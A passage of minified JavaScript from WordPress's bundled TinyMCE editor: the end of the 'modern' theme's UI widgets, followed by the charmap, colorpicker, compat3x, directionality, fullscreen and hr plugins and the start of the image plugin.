t=e.target.parentNode;if(t&&t.id===i._id+"-head")for(var n=t.childNodes.length;n--;)t.childNodes[n]===e.target&&i.activateTab(n)})},initLayoutRect:function(){var e,t,n,i=this;t=(t=we.getSize(i.getEl("head")).width)<0?0:t,n=0,i.items().each(function(e){t=Math.max(t,e.layoutRect().minW),n=Math.max(n,e.layoutRect().minH)}),i.items().each(function(e){e.settings.x=0,e.settings.y=0,e.settings.w=t,e.settings.h=n,e.layoutRect({x:0,y:0,w:t,h:n})});var r=we.getSize(i.getEl("head")).height;return i.settings.minWidth=t,i.settings.minHeight=n+r,(e=i._super()).deltaH+=r,e.innerH=e.h-e.deltaH,e}}),br=Nt.extend({init:function(e){var n=this;n._super(e),n.classes.add("textbox"),e.multiline?n.classes.add("multiline"):(n.on("keydown",function(e){var t;13===e.keyCode&&(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire("submit",{data:t.toJSON()}))}),n.on("keyup",function(e){n.state.set("value",e.target.value)}))},repaint:function(){var e,t,n,i,r,o=this,s=0;e=o.getEl().style,t=o._layoutRect,r=o._lastRepaintRect||{};var a=_.document;return!o.settings.multiline&&a.all&&(!a.documentMode||a.documentMode<=8)&&(e.lineHeight=t.h-s+"px"),i=(n=o.borderBox).left+n.right+8,s=n.top+n.bottom+(o.settings.multiline?8:0),t.x!==r.x&&(e.left=t.x+"px",r.x=t.x),t.y!==r.y&&(e.top=t.y+"px",r.y=t.y),t.w!==r.w&&(e.width=t.w-i+"px",r.w=t.w),t.h!==r.h&&(e.height=t.h-s+"px",r.h=t.h),o._lastRepaintRect=r,o.fire("repaint",{},!1),o},renderHtml:function(){var t,e,n=this,i=n.settings;return t={id:n._id,hidefocus:"1"},w.each(["rows","spellcheck","maxLength","size","readonly","min","max","step","list","pattern","placeholder","required","multiple"],function(e){t[e]=i[e]}),n.disabled()&&(t.disabled="disabled"),i.subtype&&(t.type=i.subtype),(e=we.create(i.multiline?"textarea":"input",t)).value=n.state.get("value"),e.className=n.classes.toString(),e.outerHTML},value:function(e){return arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl().value),this.state.get("value"))},postRender:function(){var t=this;t.getEl().value=t.state.get("value"),t._super(),t.$el.on("change",function(e){t.state.set("value",e.target.value),t.fire("change",e)})},bindStates:function(){var t=this;return t.state.on("change:value",function(e){t.getEl().value!==e.value&&(t.getEl().value=e.value)}),t.state.on("change:disabled",function(e){t.getEl().disabled=e.value}),t._super()},remove:function(){this.$el.off(),this._super()}}),yr=function(){return{Selector:Ie,Collection:Ve,ReflowQueue:Ke,Control:rt,Factory:v,KeyboardNavigation:st,Container:lt,DragHelper:ct,Scrollable:gt,Panel:pt,Movable:He,Resizable:vt,FloatPanel:Ct,Window:It,MessageBox:Yt,Tooltip:Mt,Widget:Nt,Progress:Pt,Notification:Dt,Layout:qt,AbsoluteLayout:Xt,Button:jt,ButtonGroup:Gt,Checkbox:Kt,ComboBox:Qt,ColorBox:en,PanelButton:tn,ColorButton:rn,ColorPicker:sn,Path:ln,ElementPath:un,FormItem:cn,Form:dn,FieldSet:fn,FilePicker:vi,FitLayout:bi,FlexLayout:yi,FlowLayout:xi,FormatControls:Ji,GridLayout:Gi,Iframe:Ki,InfoBox:Zi,Label:Qi,Toolbar:er,MenuBar:tr,MenuButton:nr,MenuItem:or,Throbber:Ht,Menu:ir,ListBox:rr,Radio:sr,ResizeHandle:ar,SelectBox:ur,Slider:hr,Spacer:mr,SplitButton:gr,StackLayout:pr,TabPanel:vr,TextBox:br,DropZone:an,BrowseButton:Jt}},xr=function(n){n.ui?w.each(yr(),function(e,t){n.ui[t]=e}):n.ui=yr()};w.each(yr(),function(e,t){v.add(t,e)}),xr(window.tinymce?window.tinymce:{}),r.add("modern",function(e){return Ji.setup(e),$t(e)})}(window); // Source: wp-includes/js/tinymce/plugins/charmap/plugin.min.js !function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>',i=0;i<n;i++){for(t+="<tr>",a=0;a<r;a++){var o=i*r+a;if(o<e.length){var l=e[o],c=parseInt(l[0],10),s=l?String.fromCharCode(c):" ";t+='<td title="'+l[1]+'"><div tabindex="-1" title="'+l[1]+'" role="button" data-chr="'+c+'">'+s+"</div></td>"}else t+="<td />"}t+="</tr>"}return t+="</tbody></table>"},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}(); // Source: wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js !function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Color"),a=function(e,n){e.find("#preview")[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:i,onchange:function(){var e=this.rgb();t&&(t.find("#r").value(e.r),t.find("#g").value(e.g),t.find("#b").value(e.b),t.find("#hex").value(this.value().substr(1)),a(t,this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find("colorpicker")[0];if(e=this.name(),n=this.value(),"hex"===e)return o(t,n="#"+n),void i.value(n);n={r:t.find("#r").value(),g:t.find("#g").value(),b:t.find("#b").value()},i.value(n),o(t,n)}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){n("#"+t.toJSON().hex)}});o(t,i)};e.add("colorpicker",function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}(); // Source: wp-includes/js/tinymce/plugins/compat3x/plugin.min.js !function(u){var t;function l(){}function f(e){!t&&window&&window.console&&(t=!0,console.log("Deprecated TinyMCE API call: "+e))}function i(i,a,d,s){i=i||this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if("string"==typeof d&&(d=d.split(" ")),d&&"function"!=typeof d)for(var n=0;n<d.length;n++)t.push(e[d[n]]);("function"!=typeof d||(t=d(a,e,i)))&&(d||(t=[e]),t.unshift(s||i),!1===o.apply(r||s||i,t)&&e.stopImmediatePropagation())}f("<target>.on"+a+".add(..)"),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(" "),function(e){s["on"+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&&!n||t.selection==n)return[t]}}if(!s.controlManager){s.controlManager={buttons:{},setDisabled:function(e,t){f("controlManager.setDisabled(..)"),this.buttons[e]&&this.buttons[e].disabled(t)},setActive:function(e,t){f("controlManager.setActive(..)"),this.buttons[e]&&this.buttons[e].active(t)},onAdd:new i,onPostRender:new i,add:function(e){return e},createButton:r,createColorSplitButton:r,createControl:r,createDropMenu:r,createListBox:r,createMenuButton:r,createSeparator:r,createSplitButton:r,createToolbar:r,createToolbarGroup:r,destroy:l,get:l,setControlType:r},e("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate","editor"),e("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"),e("BeforeExecCommand ExecCommand","command ui value args"),e("PreProcess PostProcess LoadContent SaveContent Change"),e("BeforeSetContent BeforeGetContent SetContent GetContent",o(!1)),e("SetProgressState","state time"),e("VisualAid","element hasVisual"),e("Undo Redo",n),e("NodeChange",function(e,t){return[s.controlManager,t.element,s.selection.isCollapsed(),t]});var c=s.addButton;s.addButton=function(e,t){var n,o,r,i;function a(){if(s.controlManager.buttons[e]=this,n)return n.apply(this,arguments)}for(var d in t)"onpostrender"===d.toLowerCase()&&(n=t[d],t.onPostRender=a);return n||(t.onPostRender=a),t.title&&(t.title=(o=t.title,r=[s.settings.language||"en",o].join("."),i=u.i18n.translate(r),r!==i?i:u.i18n.translate(o))),c.call(this,e,t)},s.on("init",function(){var e=s.undoManager,t=s.selection;e.onUndo=new i(s,"Undo",n,null,e),e.onRedo=new i(s,"Redo",n,null,e),e.onBeforeAdd=new i(s,"BeforeAddUndo",null,e),e.onAdd=new i(s,"AddUndo",null,e),t.onBeforeGetContent=new i(s,"BeforeGetContent",o(!0),t),t.onGetContent=new i(s,"GetContent",o(!0),t),t.onBeforeSetContent=new i(s,"BeforeSetContent",o(!0),t),t.onSetContent=new i(s,"SetContent",o(!0),t)}),s.on("BeforeRenderUI",function(){var e=s.windowManager;e.onOpen=new i,e.onClose=new i,e.createInstance=function(e,t,n,o,r,i){return f("windowManager.createInstance(..)"),new(u.resolve(e))(t,n,o,r,i)}})}function r(){var t={};function n(){return r()}return f("editor.controlManager.*"),u.each("add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update".split(" "),function(e){t[e]=n}),t}}u.util.Dispatcher=i,u.onBeforeUnload=new i(u,"BeforeUnload"),u.onAddEditor=new i(u,"AddEditor","editor"),u.onRemoveEditor=new i(u,"RemoveEditor","editor"),u.util.Cookie={get:l,getHash:l,remove:l,set:l,setHash:l},u.on("SetupEditor",function(e){n(e.editor)}),u.PluginManager.add("compat3x",n),u.addI18n=function(n,e){var r=u.util.I18n,t=u.each;"string"!=typeof n||-1!==n.indexOf(".")?u.is(n,"string")?t(e,function(e,t){r.data[n+"."+t]=e}):t(n,function(e,o){t(e,function(e,n){t(e,function(e,t){"common"===n?r.data[o+"."+t]=e:r.data[o+"."+n+"."+t]=e})})}):r.add(n,e)}}(tinymce); // Source: wp-includes/js/tinymce/plugins/directionality/plugin.min.js !function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),e=function(t,e){var i,n=t.dom,o=t.selection.getSelectedBlocks();o.length&&(i=n.getAttrib(o[0],"dir"),c.each(o,function(t){n.getParent(t.parentNode,'*[dir="'+e+'"]',n.getRoot())||n.setAttrib(t,"dir",i!==e?e:null)}),t.nodeChanged())},i=function(t){t.addCommand("mceDirectionLTR",function(){e(t,"ltr")}),t.addCommand("mceDirectionRTL",function(){e(t,"rtl")})},n=function(e){var i=[];return c.each("h1 h2 h3 h4 h5 h6 div p".split(" "),function(t){i.push(t+"[dir="+e+"]")}),i.join(",")},o=function(t){t.addButton("ltr",{title:"Left to right",cmd:"mceDirectionLTR",stateSelector:n("ltr")}),t.addButton("rtl",{title:"Right to left",cmd:"mceDirectionRTL",stateSelector:n("rtl")})};t.add("directionality",function(t){i(t),o(t)})}(); // Source: wp-includes/js/tinymce/plugins/fullscreen/plugin.min.js !function(m){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),g=function(e,n){e.fire("FullscreenStateChanged",{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,"height",(t=m.window,i=m.document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),w.removeClass(s,"mce-fullscreen"),w.removeClass(u,"mce-fullscreen"),w.removeClass(r,"mce-fullscreen"),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",w.addClass(s,"mce-fullscreen"),w.addClass(u,"mce-fullscreen"),w.addClass(r,"mce-fullscreen"),w.bind(m.window,"resize",a),e.on("remove",h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}(window); // Source: wp-includes/js/tinymce/plugins/hr/plugin.min.js !function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(n){n.addCommand("InsertHorizontalRule",function(){n.execCommand("mceInsertContent",!1,"<hr />")})},o=function(n){n.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),n.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})};n.add("hr",function(n){t(n),o(n)})}(); // Source: wp-includes/js/tinymce/plugins/image/plugin.min.js !function(l){"use strict";var i,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=function(e){return!1!==e.settings.image_dimensions},u=function(e){return!0===e.settings.image_advtab},m=function(e){return e.getParam("image_prepend_url","")},n=function(e){return e.getParam("image_class_list")},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},c=function(e){return e.getParam("image_list",!1)},s=function(e){return e.getParam("images_upload_url",!1)},g=function(e){return e.getParam("images_upload_handler",!1)},f=function(e){return e.getParam("images_upload_url")},p=function(e){return e.getParam("images_upload_handler")},h=function(e){return e.getParam("images_upload_base_path")},v=function(e){return e.getParam("images_upload_credentials")},b="undefined"!=typeof l.window?l.window:Function("return this;")(),y=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:b,r=0;r<e.length&&n!==undefined&&null!==n;++r)n=n[e[r]];return n}(e.split("."),t)},x={getOrDie:function(e,t){var n=y(e,t);if(n===undefined||null===n)throw new Error(e+" not available on this browser");return n}},w=tinymce.util.Tools.resolve("tinymce.util.Promise"),C=tinymce.util.Tools.resolve("tinymce.util.Tools"),S=tinymce.util.Tools.resolve("tinymce.util.XHR"),N=function(e,t){return Math.max(parseInt(e,10),parseInt(t,10))},_=function(e,n){var r=l.document.createElement("img");function t(e,t){r.parentNode&&r.parentNode.removeChild(r),n({width:e,height:t})}r.onload=function(){t(N(r.width,r.clientWidth),N(r.height,r.clientHeight))},r.onerror=function(){t(0,0)};var a=r.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left="0px",a.width=a.height="auto",l.document.body.appendChild(r),r.src=e},T=function(e,a,t){return function n(e,r){return r=r||[],C.each(e,function(e){var t={text:e.text||e.title};e.menu?t.menu=n(e.menu):(t.value=e.value,a(t)),r.push(t)}),r}(e,t||[])},A=function(e){return e&&(e=e.replace(/px$/,"")),e},R=function(e){return 0<e.length&&/^[0-9]+$/.test(e)&&(e+="px"),e},I=function(e){if(e.margin){var t=e.margin.split(" ");switch(t.length){case 1:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[0],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[0];break;case 2:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[1];break;case 3:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[1];break;case 4:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[3]}delete e.margin}return e},t=function(e,t){var n=c(e);"string"==typeof n?S.send({url:n,success:function(e){t(JSON.parse(e))}}):"function"==typeof n?n(t):t(n)},O=function(e,t,n){function r(){n.onload=n.onerror=null,e.selection&&(e.selection.select(n),e.nodeChanged())}n.onload=function(){t.width||t.height||!d(e)||e.dom.setAttribs(n,{width:n.clientWidth,height:n.clientHeight}),r()},n.onerror=r},L=function(r){return new w(function(e,t){var n=new(x.getOrDie("FileReader"));n.onload=function(){e(n.result)},n.onerror=function(){t(n.error.message)},n.readAsDataURL(r)})},P=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),U=Object.prototype.hasOwnProperty,E=(i=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t<e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var a=e[r];for(var o in a)U.call(a,o)&&(n[o]=i(n[o],a[o]))}return n}),k=P.DOM,M=function(e){return e.style.marginLeft&&e.style.marginRight&&e.style.marginLeft===e.style.marginRight?A(e.style.marginLeft):""},D=function(e){return e.style.marginTop&&e.style.marginBottom&&e.style.marginTop===e.style.marginBottom?A(e.style.marginTop):""},z=function(e){return e.style.borderWidth?A(e.style.borderWidth):""},B=function(e,t){return e.hasAttribute(t)?e.getAttribute(t):""},H=function(e,t){return e.style[t]?e.style[t]:""},j=function(e){return null!==e.parentNode&&"FIGURE"===e.parentNode.nodeName},F=function(e,t,n){e.setAttribute(t,n)},W=function(e){var t,n,r,a;j(e)?(a=(r=e).parentNode,k.insertAfter(r,a),k.remove(a)):(t=e,n=k.create("figure",{"class":"image"}),k.insertAfter(n,t),n.appendChild(t),n.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),n.contentEditable="false")},J=function(e,t){var n=e.getAttribute("style"),r=t(null!==n?n:"");0<r.length?(e.setAttribute("style",r),e.setAttribute("data-mce-style",r)):e.removeAttribute("style")},V=function(e,r){return function(e,t,n){e.style[t]?(e.style[t]=R(n),J(e,r)):F(e,t,n)}},G=function(e,t){return e.style[t]?A(e.style[t]):B(e,t)},$=function(e,t){var n=R(t);e.style.marginLeft=n,e.style.marginRight=n},X=function(e,t){var n=R(t);e.style.marginTop=n,e.style.marginBottom=n},q=function(e,t){var n=R(t);e.style.borderWidth=n},K=function(e,t){e.style.borderStyle=t},Q=function(e){return"FIGURE"===e.nodeName},Y=function(e,t){var n=l.document.createElement("img");return F(n,"style",t.style),(M(n)||""!==t.hspace)&&$(n,t.hspace),(D(n)||""!==t.vspace)&&X(n,t.vspace),(z(n)||""!==t.border)&&q(n,t.border),(H(n,"borderStyle")||""!==t.borderStyle)&&K(n,t.borderStyle),e(n.getAttribute("style"))},Z=function(e,t){return{src:B(t,"src"),alt:B(t,"alt"),title:B(t,"title"),width:G(t,"width"),height:G(t,"height"),"class":B(t,"class"),style:e(B(t,"style")),caption:j(t),hspace:M(t),vspace:D(t),border:z(t),borderStyle:H(t,"borderStyle")}},ee=function(e,t,n,r,a){n[r]!==t[r]&&a(e,r,n[r])},te=function(r,a){return function(e,t,n){r(e,n),J(e,a)}},ne=function(e,t,n){var r=Z(e,n);ee(n,r,t,"caption",function(e,t,n){return W(e)}),ee(n,r,t,"src",F),ee(n,r,t,"alt",F),ee(n,r,t,"title",F),ee(n,r,t,"width",V(0,e)),ee(n,r,t,"height",V(0,e)),ee(n,r,t,"class",F),ee(n,r,t,"style",te(function(e,t){return F(e,"style",t)},e)),ee(n,r,t,"hspace",te($,e)),ee(n,r,t,"vspace",te(X,e)),ee(n,r,t,"border",te(q,e)),ee(n,r,t,"borderStyle",te(K,e))},re=function(e,t){var n=e.dom.styles.parse(t),r=I(n),a=e.dom.styles.parse(e.dom.styles.serialize(r));return e.dom.styles.serialize(a)},ae=function(e){var t=e.selection.getNode(),n=e.dom.getParent(t,"figure.image");return n?e.dom.select("img",n)[0]:t&&("IMG"!==t.nodeName||t.getAttribute("data-mce-object")||t.getAttribute("data-mce-placeholder"))?null:t},oe=function(t,e){var n=t.dom,r=n.getParent(e.parentNode,function(e){return t.schema.getTextBlockElements()[e.nodeName]},t.getBody());return r?n.split(r,e):e},ie=function(t){var e=ae(t);return e?Z(function(e){return re(t,e)},e):{src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""}},le=function(t,e){var n=function(e,t){var n=l.document.createElement("img");if(ne(e,E(t,{caption:!1}),n),F(n,"alt",t.alt),t.caption){var r=k.create("figure",{"class":"image"});return r.appendChild(n),r.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),r.contentEditable="false",r}return n}(function(e){return re(t,e)},e);t.dom.setAttrib(n,"data-mce-id","__mcenew"),t.focus(),t.selection.setContent(n.outerHTML);var r=t.dom.select('*[data-mce-id="__mcenew"]')[0];if(t.dom.setAttrib(r,"data-mce-id",null),Q(r)){var a=oe(t,r);t.selection.select(a)}else t.selection.select(r)},ue=function(e,t){var n=ae(e);n?t.src?function(t,e){var n,r=ae(t);if(ne(function(e){return re(t,e)},e,r),n=r,t.dom.setAttrib(n,"src",n.getAttribute("src")),Q(r.parentNode)){var a=r.parentNode;oe(t,a),t.selection.select(r.parentNode)}else t.selection.select(r),O(t,e,r)}(e,t):function(e,t){if(t){var 